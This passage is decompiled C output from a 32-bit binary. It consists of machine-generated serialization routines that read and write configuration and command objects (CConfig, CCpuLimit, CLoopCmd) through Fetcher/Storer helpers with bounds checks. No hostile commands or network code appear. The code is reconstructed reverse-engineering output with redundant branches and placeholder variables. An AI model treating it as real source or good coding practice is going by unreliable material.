*v2 = a2;
*v1 = *v2;
// branch -> 0x80593f1
// 0x80593f1
v3 = (int32_t *)(result + 60);
if (*v3 == 0) {
// 0x80593f1
v5 = (int32_t *)(result + 64);
// branch -> 0x8059405
// 0x8059405
*v5 = a2;
g95 = result;
*v3 = *v5;
// branch -> 0x805941a
// 0x805941a
return result;
}
// 0x80593fb
g95 = result;
v4 = (int32_t *)(result + 64);
result2 = *v4;
if (result2 != 0) {
// 0x805941a
return result2;
}
v5 = v4;
// 0x8059405
*v5 = a2;
g95 = result;
*v3 = *v5;
// branch -> 0x805941a
// 0x805941a
return result;
}
int32_t * v6 = (int32_t *)(result + 56); // 0x80593d5_0
if (*v6 != 0) {
// 0x80593f1
v3 = (int32_t *)(result + 60);
if (*v3 == 0) {
// 0x80593f1
v5 = (int32_t *)(result + 64);
// branch -> 0x8059405
} else {
// 0x80593fb
g95 = result;
v4 = (int32_t *)(result + 64);
result2 = *v4;
if (result2 != 0) {
// 0x805941a
return result2;
}
v5 = v4;
}
// 0x8059405
*v5 = a2;
g95 = result;
*v3 = *v5;
// branch -> 0x805941a
// 0x805941a
return result;
}
v2 = v6;
// 0x80593dc
*v2 = a2;
*v1 = *v2;
// branch -> 0x80593f1
// 0x80593f1
v3 = (int32_t *)(result + 60);
if (*v3 == 0) {
// 0x80593f1
v5 = (int32_t *)(result + 64);
// branch -> 0x8059405
} else {
// 0x80593fb
g95 = result;
v4 = (int32_t *)(result + 64);
result2 = *v4;
if (result2 != 0) {
// 0x805941a
return result2;
}
v5 = v4;
}
// 0x8059405
*v5 = a2;
g95 = result;
*v3 = *v5;
// branch -> 0x805941a
// 0x805941a
return result;
}
// Address range: 0x8059498 - 0x8059551
int32_t CLoopCmd__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) {
int32_t v1;
CMedia_511((struct struct_3 *)&v1, (int32_t)a2, a3);
int32_t v2 = (int32_t)a1; // 0x80594b5
struct struct_3 * v3 = (struct struct_3 *)(v2 + 12); // bp-32
struct struct_3 * v4 = (struct struct_3 *)(v2 + 8); // bp-28
int32_t v5 = v2 + 4; // 0x80594ca
int32_t v6 = CMedia__operator_gt__gt__lt_bool_gt_(&v1, (char *)v5); // 0x80594d5
int32_t v7 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v6)->e0, &v4->e0); // 0x80594e4
CMedia__operator_gt__gt__lt_std__string_gt_(&((struct struct_3 *)v7)->e0, (int32_t)v3);
uint32_t v8 = g99; // 0x80594f8
int32_t v9 = *(int32_t *)(a1->e0 + 8); // 0x8059503
g95 = v9;
g1 = v8 < 12;
g103 = v8 == 12;
((int32_t (*)(int32_t))v9)((int32_t)a1);
CMedia_513();
return g95;
}
// Address range: 0x80596e4 - 0x80597b5
int32_t CCpuLimit__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) {
int32_t v1;
CMedia_511((struct struct_3 *)&v1, (int32_t)a2, a3);
int32_t v2 = (int32_t)a1; // 0x8059701
struct struct_3 * v3 = (struct struct_3 *)(v2 + 12); // bp-32
struct struct_3 * v4 = (struct struct_3 *)(v2 + 8); // bp-28
int32_t v5 = v2 + 4; // 0x805971f
int32_t v6 = CMedia__operator_gt__gt__lt_bool_gt_(&v1, (char *)v5); // 0x805972a
int32_t v7 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v6)->e0, &v4->e0); // 0x8059739
int32_t v8 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v7)->e0, &v3->e0); // 0x8059748
CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v8)->e0, &((struct struct_3 *)(v2 + 16))->e0);
uint32_t v9 = g99; // 0x805975c
int32_t v10 = *(int32_t *)(a1->e0 + 8); // 0x8059767
g95 = v10;
g1 = v9 < 12;
g103 = v9 == 12;
((int32_t (*)(int32_t))v10)((int32_t)a1);
CMedia_513();
return g95;
}
// Address range: 0x8059b34 - 0x8059c05
int32_t CCpuLimit__Extract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) {
int32_t v1;
CMedia_511((struct struct_3 *)&v1, (int32_t)a2, a3);
int32_t v2 = (int32_t)a1; // 0x8059b51
struct struct_3 * v3 = (struct struct_3 *)(v2 + 12); // bp-32
struct struct_3 * v4 = (struct struct_3 *)(v2 + 8); // bp-28
int32_t v5 = v2 + 4; // 0x8059b6f
int32_t v6 = CMedia__operator_lt__lt__lt_bool_gt_(&v1, (char *)v5); // 0x8059b7a
int32_t v7 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v6)->e0, &v4->e0); // 0x8059b89
int32_t v8 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v7)->e0, &v3->e0); // 0x8059b98
CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v8)->e0, &((struct struct_3 *)(v2 + 16))->e0);
uint32_t v9 = g99; // 0x8059bac
int32_t v10 = *(int32_t *)(a1->e0 + 8); // 0x8059bb7
g95 = v10;
g1 = v9 < 12;
g103 = v9 == 12;
((int32_t (*)(int32_t))v10)((int32_t)a1);
CMedia_513();
return g95;
}
// Address range: 0x805a098 - 0x805a2bf
int32_t CConfig__InitAbsorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) {
int32_t v1 = CCpuLimit__Absorb((struct struct_3 *)((int32_t)a1 + 4), a2, a3); // 0x805a0af
int32_t v2 = (int32_t)a2 + v1; // 0x805a0c7
int32_t v3;
CMedia_511((struct struct_3 *)&v3, v2, a3 - v1);
int32_t v4 = (int32_t)a1; // 0x805a0db
struct struct_3 * v5 = (struct struct_3 *)(v4 + 76); // bp-88
struct struct_3 * v6 = (struct struct_3 *)(v4 + 72); // bp-84
struct struct_3 * v7 = (struct struct_3 *)(v4 + 70); // bp-80
struct struct_3 * v8 = (struct struct_3 *)(v4 + 68); // bp-76
struct struct_3 * v9 = (struct struct_3 *)(v4 + 64); // bp-72
struct struct_3 * v10 = (struct struct_3 *)(v4 + 60); // bp-68
struct struct_3 * v11 = (struct struct_3 *)(v4 + 56); // bp-64
struct struct_3 * v12 = (struct struct_3 *)(v4 + 52); // bp-60
struct struct_3 * v13 = (struct struct_3 *)(v4 + 48); // bp-56
struct struct_3 * v14 = (struct struct_3 *)(v4 + 44); // bp-52
struct struct_3 * v15 = (struct struct_3 *)(v4 + 40); // bp-48
struct struct_3 * v16 = (struct struct_3 *)(v4 + 38); // bp-44
struct struct_3 * v17 = (struct struct_3 *)(v4 + 37); // bp-40
struct struct_3 * v18 = (struct struct_3 *)(v4 + 36); // bp-36
struct struct_3 * v19 = (struct struct_3 *)(v4 + 32); // bp-32
struct struct_3 * v20 = (struct struct_3 *)(v4 + 28); // bp-28
struct struct_3 * v21 = (struct struct_3 *)(v4 + 24); // 0x805a174_0
struct struct_3 * v22 = (struct struct_3 *)CMedia__operator_gt__gt__lt_int_gt_(&v3, &v21->e0); // 0x805a179_5
int32_t v23 = CMedia__operator_gt__gt__lt_int_gt_(&v22->e0, &v20->e0); // 0x805a188
int32_t v24 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v23)->e0, &v19->e0); // 0x805a197
int32_t v25 = CMedia__operator_gt__gt__lt_bool_gt_(&((struct struct_3 *)v24)->e0, (char *)v18); // 0x805a1a6
int32_t v26 = CMedia__operator_gt__gt__lt_bool_gt_(&((struct struct_3 *)v25)->e0, (char *)v17); // 0x805a1b5
int32_t v27 = CMedia__operator_gt__gt__lt_bool_gt_(&((struct struct_3 *)v26)->e0, (char *)v16); // 0x805a1c4
int32_t v28 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v27)->e0, &v15->e0); // 0x805a1d3
int32_t v29 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v28)->e0, &v14->e0); // 0x805a1e2
int32_t v30 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v29)->e0, &v13->e0); // 0x805a1f1
int32_t v31 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v30)->e0, &v12->e0); // 0x805a200
int32_t v32 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v31)->e0, &v11->e0); // 0x805a20f
int32_t v33 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v32)->e0, &v10->e0); // 0x805a21e
int32_t v34 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&((struct struct_3 *)v33)->e0, &v9->e0); // 0x805a22d
int32_t v35 = CMedia__operator_gt__gt__lt_unsigned_short_gt_(&((struct struct_3 *)v34)->e0, (int16_t *)v8); // 0x805a23c
int32_t v36 = CMedia__operator_gt__gt__lt_unsigned_short_gt_(&((struct struct_3 *)v35)->e0, (int16_t *)v7); // 0x805a24b
int32_t v37 = CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v36)->e0, &v6->e0); // 0x805a25a
CMedia__operator_gt__gt__lt_std__string_gt_(&((struct struct_3 *)v37)->e0, (int32_t)v5);
int32_t result = CConfig__InitSize((int32_t **)a1);
CMedia_513();
return result;
}
// Address range: 0x805a730 - 0x805a957
int32_t CConfig__InitExtract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) {
int32_t v1 = CCpuLimit__Extract((struct struct_3 *)((int32_t)a1 + 4), a2, a3); // 0x805a747
int32_t v2 = (int32_t)a2 + v1; // 0x805a75f
int32_t v3;
CMedia_511((struct struct_3 *)&v3, v2, a3 - v1);
int32_t v4 = (int32_t)a1; // 0x805a773
struct struct_3 * v5 = (struct struct_3 *)(v4 + 72); // bp-84
struct struct_3 * v6 = (struct struct_3 *)(v4 + 70); // bp-80
struct struct_3 * v7 = (struct struct_3 *)(v4 + 68); // bp-76
struct struct_3 * v8 = (struct struct_3 *)(v4 + 64); // bp-72
struct struct_3 * v9 = (struct struct_3 *)(v4 + 60); // bp-68
struct struct_3 * v10 = (struct struct_3 *)(v4 + 56); // bp-64
struct struct_3 * v11 = (struct struct_3 *)(v4 + 52); // bp-60
struct struct_3 * v12 = (struct struct_3 *)(v4 + 48); // bp-56
struct struct_3 * v13 = (struct struct_3 *)(v4 + 44); // bp-52
struct struct_3 * v14 = (struct struct_3 *)(v4 + 40); // bp-48
struct struct_3 * v15 = (struct struct_3 *)(v4 + 38); // bp-44
struct struct_3 * v16 = (struct struct_3 *)(v4 + 37); // bp-40
struct struct_3 * v17 = (struct struct_3 *)(v4 + 36); // bp-36
struct struct_3 * v18 = (struct struct_3 *)(v4 + 32); // bp-32
struct struct_3 * v19 = (struct struct_3 *)(v4 + 28); // bp-28
struct struct_3 * v20 = (struct struct_3 *)(v4 + 24); // 0x805a80c_0
struct struct_3 * v21 = (struct struct_3 *)CMedia__operator_lt__lt__lt_int_gt_(&v3, &v20->e0); // 0x805a811_5
int32_t v22 = CMedia__operator_lt__lt__lt_int_gt_(&v21->e0, &v19->e0); // 0x805a820
int32_t v23 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v22)->e0, &v18->e0); // 0x805a82f
int32_t v24 = CMedia__operator_lt__lt__lt_bool_gt_(&((struct struct_3 *)v23)->e0, (char *)v17); // 0x805a83e
int32_t v25 = CMedia__operator_lt__lt__lt_bool_gt_(&((struct struct_3 *)v24)->e0, (char *)v16); // 0x805a84d
int32_t v26 = CMedia__operator_lt__lt__lt_bool_gt_(&((struct struct_3 *)v25)->e0, (char *)v15); // 0x805a85c
int32_t v27 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v26)->e0, &v14->e0); // 0x805a86b
int32_t v28 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v27)->e0, &v13->e0); // 0x805a87a
int32_t v29 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v28)->e0, &v12->e0); // 0x805a889
int32_t v30 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v29)->e0, &v11->e0); // 0x805a898
int32_t v31 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v30)->e0, &v10->e0); // 0x805a8a7
int32_t v32 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v31)->e0, &v9->e0); // 0x805a8b6
int32_t v33 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v32)->e0, &v8->e0); // 0x805a8c5
int32_t v34 = CMedia__operator_lt__lt__lt_unsigned_short_gt_(&((struct struct_3 *)v33)->e0, (int16_t *)v7); // 0x805a8d4
int32_t v35 = CMedia__operator_lt__lt__lt_unsigned_short_gt_(&((struct struct_3 *)v34)->e0, (int16_t *)v6); // 0x805a8e3
int32_t v36 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v35)->e0, &v5->e0); // 0x805a8f2
CMedia__operator_lt__lt__lt_std__string_gt_(&((struct struct_3 *)v36)->e0, &((struct struct_3 *)(v4 + 76))->e0);
int32_t result = CConfig__InitSize((int32_t **)a1);
CMedia_513();
return result;
}
// Address range: 0x805b310 - 0x805b433
int32_t CConfig__Extract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) {
int32_t v1 = CConfig__InitExtract(a1, a2, a3); // 0x805b323
int32_t v2 = (int32_t)a2 + v1; // 0x805b33b
int32_t v3;
CMedia_511((struct struct_3 *)&v3, v2, a3 - v1);
int32_t v4 = (int32_t)a1 + 80; // 0x805b352
struct struct_3 * v5 = (struct struct_3 *)std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size((int32_t **)v4); // 0x805b359_4
CMedia__operator_lt__lt__lt_int_gt_(&v3, &v5->e0);
struct struct_3 * v6 = NULL; // bp-12
uint32_t v7 = g99;
int32_t v8; // 0x805b3e6
if (v5 <= NULL) {
// 0x805b3de
v8 = *(int32_t *)(a1->e0 + 8);
g95 = v8;
g1 = v7 < 12;
g103 = v7 == 12;
((int32_t (*)(int32_t))v8)(v3);
CMedia_513();
return g95;
}
int32_t v9 = (int32_t)a1 + 80; // 0x805b386
int32_t v10 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_((int32_t **)v9, &NULL->e0); // 0x805b38e
int32_t v11 = (int32_t)a1 + 80; // 0x805b3a2
int32_t v12 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_((int32_t **)v11, &v6->e0); // 0x805b3aa
int32_t v13 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&v3, &((struct struct_3 *)v12)->e0); // 0x805b3ba
struct struct_3 * v14 = (struct struct_3 *)(v10 + 4); // 0x805b3c5_0
CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v13)->e0, &v14->e0);
struct struct_3 * v15 = (struct struct_3 *)((int32_t)v6 + 1); // 0x805b3d4_3
v6 = v15;
v7 = g99;
while (v15 < v5) {
// 0x805b380
v9 = (int32_t)a1 + 80;
v10 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_((int32_t **)v9, &v15->e0);
v11 = (int32_t)a1 + 80;
v12 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_((int32_t **)v11, &v6->e0);
v13 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&v3, &((struct struct_3 *)v12)->e0);
v14 = (struct struct_3 *)(v10 + 4);
CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v13)->e0, &v14->e0);
v15 = (struct struct_3 *)((int32_t)v6 + 1);
v6 = v15;
v7 = g99;
// continue -> 0x805b380
}
// 0x805b3de
v8 = *(int32_t *)(a1->e0 + 8);
g95 = v8;
g1 = v7 < 12;
g103 = v7 == 12;
((int32_t (*)(int32_t))v8)(v3);
CMedia_513();
return g95;
}
// Address range: 0x805bb44 - 0x805bca9
int32_t CConfig__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) {
int32_t v1 = CConfig__InitAbsorb(a1, a2, a3); // 0x805bb57
int32_t result; // 0x805bca22
if (v1 == a3) {
// 0x805bb6a
result = CConfig__InitSize((int32_t **)a1);
// branch -> 0x805bca2
} else {
int32_t v2 = (int32_t)a2 + v1; // 0x805bb8d
int32_t v3;
CMedia_511((struct struct_3 *)&v3, v2, a3 - v1);
int32_t v4;
CMedia__operator_gt__gt__lt_int_gt_(&v3, &v4);
struct struct_3 * v5 = (struct struct_3 *)((int32_t)a1 + 80); // 0x805bbbd_0
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___clear(&v5->e0);
int32_t v6 = g99;
int32_t v7;
if (v4 > 0) {
for (int32_t i = 0; i < v4; i++) {
// 0x805bbcf
CFakeCustom_144(&v7);
int32_t v8 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&v3, &v7); // 0x805bbe9
int32_t v9;
CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v8)->e0, &v9);
struct struct_3 * v10 = (struct struct_3 *)((int32_t)a1 + 80); // 0x805bc11_0
std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___push_back(&v10->e0, &v7);
CFakeCustom();
// continue -> 0x805bbcf
}
// 0x805bc4a
v6 = g99;
// branch -> 0x805bc56
}
int32_t v11 = *(int32_t *)(a1->e0 + 8); // 0x805bc5e
g95 = v11;
g1 = v6 < 12;
g103 = v6 == 12;
((int32_t (*)(int32_t))v11)(v7);
CMedia_513();
result = g95;
// branch -> 0x805bca2
}
// 0x805bca2
return result;
}
// Address range: 0x805bdfe - 0x805be15
int32_t CFakeCustom_144(int32_t * a1) {
int32_t result = (int32_t)a1; // 0x805be01
*a1 = 0;
*(int32_t *)(result + 4) = 0;
return result;
}
// Address range: 0x805ca26 - 0x805ca5d
void std__out_of_range(void) {
// 0x805ca26
int32_t v1;
*(int32_t *)v1 = 0x80ff838;
abort();
// UNREACHABLE
}
// Address range: 0x805ca96 - 0x805cc21
int32_t Fetcher_lt_std__string_gt___Done(int32_t a1, int32_t * a2, int32_t * a3) {
int32_t v1 = g6; // 0x805cbd43
int32_t v2; // bp-88
int32_t v3;
int32_t v4; // 0x805cc14
if (v1 == 0) {
// 0x805cbe2
v2 = *a3 + *a2;
v3 = a1;
std__string__operator_eq_((int32_t **)&v3, (char *)&v2);
v3 = a1;
v4 = *a3 + std__string__size(&v3) + 1;
g97 = v4;
*a3 = v4;
return (int32_t)a3;
}
int32_t v5 = 0;
// branch -> 0x805caa9
while (true) {
int32_t v6 = *a2 + v5; // 0x805cab1
if ((v6 & -256 | (int32_t)*(char *)v6) != 0) {
int32_t v7 = v5 + 1; // 0x805cac1
g95 = v1;
int32_t v8 = v1; // 0x805cbd4
if (v7 == v1) {
// 0x805cacf
int32_t v9;
std__allocator_lt_char_gt__598(v9);
int32_t v10;
int32_t v11;
int32_t v12;
int32_t * v13;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v10, (int32_t)"", v9, (int32_t)v13, v12, v11);
int32_t v14 = 8;
int32_t v15 = __cxa_allocate_exception(&v14, (int32_t)""); // 0x805cafe
v14 = v15;
std__out_of_range_570(&v14, v10);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v10);
std__allocator_lt_char_gt_();
__cxa_throw(v15, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805cb70, v10);
v8 = g6;
// branch -> 0x805cbcf
}
// 0x805cbcf
if (v7 >= v8) {
// break -> 0x805cbe2
break;
}
v1 = v8;
v5 = v7;
// continue -> 0x805caa9
continue;
}
// 0x805cbe2
v2 = *a3 + *a2;
v3 = a1;
std__string__operator_eq_((int32_t **)&v3, (char *)&v2);
v3 = a1;
v4 = *a3 + std__string__size(&v3) + 1;
g97 = v4;
*a3 = v4;
return (int32_t)a3;
}
// 0x805cbe2
v2 = *a3 + *a2;
v3 = a1;
std__string__operator_eq_((int32_t **)&v3, (char *)&v2);
v3 = a1;
v4 = *a3 + std__string__size(&v3) + 1;
g97 = v4;
*a3 = v4;
return (int32_t)a3;
}
// Address range: 0x805cc22 - 0x805cdad
int32_t Storer_lt_std__string_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4) {
int32_t v1 = g98; // 0x805cc27
g98 = *a3;
int32_t v2 = a1; // bp-76
uint32_t v3 = std__string__size(&v2) + 1 + g98; // 0x805cc41
int32_t v4 = (int32_t)(v3 <= a4) | v3 & -256; // 0x805cc45
g95 = v4 ^ 1;
if (v4 != 1) {
// 0x805cc50
int32_t v5;
std__allocator_lt_char_gt__598(v5);
int32_t v6;
int32_t v7;
int32_t * v8;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v6, (int32_t)"", v5, (int32_t)v8, v7, 0);
v2 = 8;
int32_t v9 = __cxa_allocate_exception(&v2, (int32_t)""); // 0x805cc7f
v2 = v9;
std__out_of_range_570(&v2, v6);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6);
std__allocator_lt_char_gt_();
__cxa_throw(v9, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805ccf1, v6);
// branch -> 0x805cd50
}
int32_t v10 = a1;
int32_t v11 = std__string__size(&v10) + 1;
v10 = a1;
int32_t v12 = std__string__c_str(&v10); // 0x805cd67
int32_t v13 = *a2; // 0x805cd74
int32_t v14 = *a3; // 0x805cd79
memcpy((int32_t *)(v14 + v13), (int32_t *)v12, v11);
v10 = a1;
*a3 = *a3 + std__string__size(&v10) + 1;
g98 = v1;
return (int32_t)a3;
}
// Address range: 0x805cdae - 0x805cdd5
int32_t CMedia__operator_gt__gt__lt_std__string_gt_(int32_t * a1, int32_t a2) {
int32_t result = (int32_t)a1; // 0x805cdb4
Fetcher_lt_std__string_gt___Done(a2, a1, (int32_t *)(result + 8));
return result;
}
// Address range: 0x805cdf6 - 0x805ce6d
int32_t CMedia__operator_lt__lt__lt_std__string_gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = g102; // 0x805cdf9
int32_t v2 = g101; // 0x805cdfa
int32_t v3 = g98; // 0x805cdfb
int32_t result = (int32_t)a1; // 0x805cdff
g98 = *(int32_t *)(result + 4);
g101 = result + 8;
g102 = result;
int32_t v4;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v4, a2);
Storer_lt_std__string_gt___Done(v4, (int32_t *)g102, (int32_t *)g101, g98);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4);
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// Address range: 0x805ce6e - 0x805ce73
void __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) {
// 0x805ce6e
return;
}
// Address range: 0x805ce74 - 0x805ce8b
int32_t std__allocator_lt_CSubTask_gt_(int32_t * a1) {
// 0x805ce74
__gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return (int32_t)a1;
}
// Address range: 0x805ce8c - 0x805cea3
int32_t std__allocator_lt_CSubTask_gt__155(int32_t result) {
// 0x805ce8c
__gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_();
return result;
}
// Address range: 0x805d012 - 0x805d14d
int32_t Fetcher_lt_bool_gt___Done(char * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) {
int32_t v1 = *a3 + 1; // 0x805d01e
g95 = v1;
if (v1 > a4) {
// 0x805d028
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t v4;
int32_t v5;
int32_t * v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4);
int32_t v7 = 8;
int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d057
v7 = v8;
std__out_of_range_570(&v7, v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3);
std__allocator_lt_char_gt_();
__cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d0c9, v3);
// branch -> 0x805d128
}
// 0x805d128
*a1 = *(char *)(*a3 + *a2);
*a3 = *a3 + 1;
return (int32_t)a3;
}
// Address range: 0x805d14e - 0x805d175
int32_t CMedia__operator_gt__gt__lt_bool_gt_(int32_t * a1, char * a2) {
int32_t result = (int32_t)a1; // 0x805d154
int32_t v1 = *(int32_t *)(result + 4); // 0x805d157
int32_t v2;
Fetcher_lt_bool_gt___Done(a2, a1, (int32_t *)(result + 8), v1, v2);
return result;
}
// Address range: 0x805d176 - 0x805d2b3
int32_t Fetcher_lt_int_gt___Done(int32_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) {
int32_t v1 = *a3 + 4; // 0x805d182
g95 = v1;
if (v1 > a4) {
// 0x805d18e
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t v4;
int32_t v5;
int32_t * v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4);
int32_t v7 = 8;
int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d1bd
v7 = v8;
std__out_of_range_570(&v7, v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3);
std__allocator_lt_char_gt_();
__cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d22f, v3);
// branch -> 0x805d28e
}
// 0x805d28e
*a1 = *(int32_t *)(*a3 + *a2);
int32_t v9 = *a3 + 4; // 0x805d2a7
g97 = v9;
*a3 = v9;
return (int32_t)a3;
}
// Address range: 0x805d2b4 - 0x805d2db
int32_t CMedia__operator_gt__gt__lt_int_gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1; // 0x805d2ba
int32_t v1 = *(int32_t *)(result + 4); // 0x805d2bd
g96 = result;
int32_t v2;
Fetcher_lt_int_gt___Done(a2, a1, (int32_t *)(result + 8), v1, v2);
return result;
}
// Address range: 0x805d2dc - 0x805d41b
int32_t Fetcher_lt_unsigned_short_gt___Done(int16_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) {
int32_t v1 = *a3 + 2; // 0x805d2e8
g95 = v1;
if (v1 > a4) {
// 0x805d2f4
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t v4;
int32_t v5;
int32_t * v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4);
int32_t v7 = 8;
int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d323
v7 = v8;
std__out_of_range_570(&v7, v3);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3);
std__allocator_lt_char_gt_();
__cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d395, v3);
// branch -> 0x805d3f4
}
// 0x805d3f4
*a1 = *(int16_t *)(*a3 + *a2);
*a3 = *a3 + 2;
return (int32_t)a3;
}
// Address range: 0x805d41c - 0x805d443
int32_t CMedia__operator_gt__gt__lt_unsigned_short_gt_(int32_t * a1, int16_t * a2) {
int32_t result = (int32_t)a1; // 0x805d422
int32_t v1 = *(int32_t *)(result + 4); // 0x805d425
int32_t v2;
Fetcher_lt_unsigned_short_gt___Done(a2, a1, (int32_t *)(result + 8), v1, v2);
return result;
}
// Address range: 0x805d5b8 - 0x805d6f9
int32_t Storer_lt_bool_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) {
int32_t v1 = *a3 + 1; // 0x805d5ca
g95 = v1;
if (v1 > a4) {
// 0x805d5d4
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t v4;
int32_t v5;
int32_t * v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4);
int32_t v7 = 8;
int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d603
v7 = v8;
